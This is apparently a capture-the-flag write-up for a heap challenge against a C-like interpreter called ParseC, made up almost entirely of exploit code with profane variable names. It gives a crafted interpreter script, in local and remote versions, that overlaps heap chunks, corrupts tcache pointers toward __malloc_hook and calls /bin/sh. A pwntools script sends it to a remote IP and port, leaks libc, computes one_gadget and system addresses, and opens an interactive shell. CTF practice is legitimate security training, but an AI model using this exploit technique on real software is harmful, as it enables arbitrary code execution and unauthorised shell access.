pad = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
pad1 = "aaaaaaaa";//malloc(0x10)
pad2 = "aaaaaaaa";//malloc(0x10)
db = "aaaaaaaa";//malloc(0x10)
overlap = db;
fuck2 = db;
fuck3 = db;
db = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
overlap = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";//malloc(0x30)
overlap_fuck_ptr = overlap;
overlap_fuck_ptr2 = overlap;
overlap_fuck_ptr3 = overlap;
newdb = db;
fuck3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";//malloc(0x30)
fucksize = "0";//malloc(0x10) local
fucksize1 = "0";//malloc(0x10) local
fucksize2 = "00000000q";//malloc(0x10) fuck size
overlap_fuck_ptr2 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";//free
newdb = "aaaaaaaa";//malloc(0x10)
overlap2 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//malloc(0x380)
overlap3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//malloc(0x20)
fuckfdaboveaboveabove="a";
fuckfdaboveabove="a";//malloc(0x10)
fuckfdaboveaboveptr1=fuckfdaboveabove;
fuckfdaboveaboveptr2=fuckfdaboveabove;
fuckfdaboveaboveptr3=fuckfdaboveabove;
fuckfdaboveaboveptr4=fuckfdaboveabove;
fuckfdaboveaboveptr5=fuckfdaboveabove;
fuckfdaboveaboveptr6=fuckfdaboveabove;
fuckfdaboveaboveptr7=fuckfdaboveabove;
fuckfdabove="a";//malloc(0x10)
fuckfdaboveptr1=fuckfdabove;
fuckfdaboveptr2=fuckfdabove;
fuckfdaboveptr3=fuckfdabove;
fuckfdaboveptr4=fuckfdabove;
fuckfdaboveptr5=fuckfdabove;
fuckfdaboveptr6=fuckfdabove;
fuckfdaboveptr7=fuckfdabove;
//fuckoverlap31 = overlap3;
//fuckoverlap32 = overlap3;
//overlap3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//fuckoverlap31 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//malloc(0x100)
fuckfd = " ";//mallochook-0x10
fuckfdptr1 = fuckfd;
fuckfdptr2 = fuckfd;
fuckfdptr3 = fuckfd;
fuckheap = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckheapptr1 = fuckheap;
fuckheapptr2 = fuckheap;
fuckheapptr3 = fuckheap;
fuckheapptr4 = fuckheap;
fuckfdaboveaboveptr1 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr2 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfd201 = "0";
fuckfd202 = "AAAAAAAA";
fuckfd203 = "aaaaaaaaQ";
fuckfdaboveptr1 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr4 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr5 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr6 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfd501 = "@";
fuckfd502 = "AAAAAAAA";
fuckfd503 = "h";
array xjbarr1(1);
fucknum=0.1;
read(fucknum);
xjbarr1[0]=fucknum;
print(xjbarr1[0]);
array xjbarr2(1);
array xjbarr3(1);
fucknum3=0.1;
read(fucknum3);
xjbarr3[0]=fucknum3;
getshell="/bin/sh";
getshell = "1";
read();
远程exp
puts("AAAA");
a = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
b = a;
c = a;
a = "AAAAAAAA";
puts(b);//leak
pad = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
pad1 = "aaaaaaaa";//malloc(0x10)
pad2 = "aaaaaaaa";//malloc(0x10)
db = "aaaaaaaa";//malloc(0x10)
overlap = db;
fuck2 = db;
fuck3 = db;
db = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
overlap = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";//malloc(0x30)
overlap_fuck_ptr = overlap;
overlap_fuck_ptr2 = overlap;
overlap_fuck_ptr3 = overlap;
newdb = db;
fuck3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";//malloc(0x30)
fucksize = " ";//malloc(0x10) local
fucksize1 = " ";//malloc(0x10) local
fucksize2 = "00000000q";//malloc(0x10) fuck size
overlap_fuck_ptr2 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";//free
newdb = "aaaaaaaa";//malloc(0x10)
overlap2 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//malloc(0x380)
overlap3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//malloc(0x20)
fuckfdaboveaboveabove="a";
fuckfdaboveabove="a";//malloc(0x10)
fuckfdaboveaboveptr1=fuckfdaboveabove;
fuckfdaboveaboveptr2=fuckfdaboveabove;
fuckfdaboveaboveptr3=fuckfdaboveabove;
fuckfdaboveaboveptr4=fuckfdaboveabove;
fuckfdaboveaboveptr5=fuckfdaboveabove;
fuckfdaboveaboveptr6=fuckfdaboveabove;
fuckfdaboveaboveptr7=fuckfdaboveabove;
fuckfdabove="a";//malloc(0x10)
fuckfdaboveptr1=fuckfdabove;
fuckfdaboveptr2=fuckfdabove;
fuckfdaboveptr3=fuckfdabove;
fuckfdaboveptr4=fuckfdabove;
fuckfdaboveptr5=fuckfdabove;
fuckfdaboveptr6=fuckfdabove;
fuckfdaboveptr7=fuckfdabove;
fuckfd = " ";//mallochook-0x10
fuckfdptr1 = fuckfd;
fuckfdptr2 = fuckfd;
fuckfdptr3 = fuckfd;
fuckheap = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckheapptr1 = fuckheap;
fuckheapptr2 = fuckheap;
fuckheapptr3 = fuckheap;
fuckheapptr4 = fuckheap;
fuckfdaboveaboveptr1 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr2 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfd201 = " ";
fuckfd202 = "AAAAAAAA";
fuckfd203 = "aaaaaaaaQ";
fuckfdaboveptr1 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr4 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr5 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfdaboveaboveptr6 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
fuckfd501 = "0";
fuckfd502 = "AAAAAAAA";
fuckfd503 = "X";
array xjbarr1(1);
fucknum=0.1;
read(fucknum);
xjbarr1[0]=fucknum;
print(xjbarr1[0]);
array xjbarr2(1);
array xjbarr3(1);
fucknum3=0.1;
read(fucknum3);
xjbarr3[0]=fucknum3;
getshell="/bin/sh";
getshell = "1";
read();
exp.py
from pwn import *
from base64 import b64encode
REMOTE = 1
if REMOTE:
with open('./exp','r') as f:
data = f.read()
b64data = b64encode(data)
with open('./b64exp','w') as f:
f.write(b64data)
r = remote('123.57.4.93',34007)
r.recvuntil('-------------------------------------------------------\n')
r.sendline(b64data)
else:
r = process(['./ParseC_ori','expl'],aslr=False)
libc = ELF('./libc-2.27.so')
leak = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak - libc.sym['__malloc_hook'] - 0x10-96
malloc_hook = libc_base+libc.sym['__malloc_hook']
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
log.success(hex(libc_base))
one = libc_base+0x4f3c2
one2 = libc_base+0x4f365
one3 = libc_base+0x10a45c
log.info(hex(one))#6.9533549949651e-310
log.info(hex(one2))#6.9533549949605e-310
log.info(hex(one3))#6.95335503281577e-310
log.info(hex(malloc_hook -0x28))
log.info('fuck you')
log.info(hex(free_hook -0x28))#6.9533551824222e-310
log.info(hex(system))#6.95335499497923e-310
r.interactive()
本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议(CC BY-NC-ND 4.0)进行许可。
This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).